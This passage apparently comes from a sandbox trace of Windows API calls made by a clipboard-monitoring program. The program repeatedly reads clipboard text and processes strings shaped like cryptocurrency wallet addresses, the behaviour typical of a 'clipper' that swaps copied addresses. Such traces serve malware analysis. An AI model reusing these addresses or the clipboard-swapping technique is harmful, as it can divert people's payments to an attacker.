0x6069b8 [0049.010] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0049.010] GlobalSize (hMem=0x6069b8) returned 0x42 [0049.010] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0049.010] GlobalUnlock (hMem=0x6069b8) returned 1 [0049.010] CloseClipboard () returned 1 [0049.010] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.010] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.010] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.010] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.010] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.010] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.010] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.011] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.011] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.011] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.011] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.011] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.011] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.011] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.011] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.011] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.012] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.012] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.012] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.012] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.012] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.012] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.012] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.012] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.012] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.013] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.013] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.013] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.013] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.013] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.013] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.013] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.014] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0049.014] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0049.014] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0049.014] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0049.014] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0049.014] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0049.014] Sleep (dwMilliseconds=0x64) [0049.127] GetOpenClipboardWindow () returned 0x0 [0049.127] OpenClipboard (hWndNewOwner=0x0) returned 1 [0049.127] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0049.127] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0049.127] GlobalSize (hMem=0x6069b8) returned 0x42 [0049.127] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0049.127] GlobalUnlock (hMem=0x6069b8) returned 1 [0049.127] CloseClipboard () returned 1 [0049.127] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.128] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.128] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.128] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.128] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.128] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.128] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.128] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.128] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.128] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.129] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.129] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.129] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.129] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.129] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.129] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.129] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.129] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.129] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.130] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.130] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.130] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.130] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.130] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.130] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.130] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: 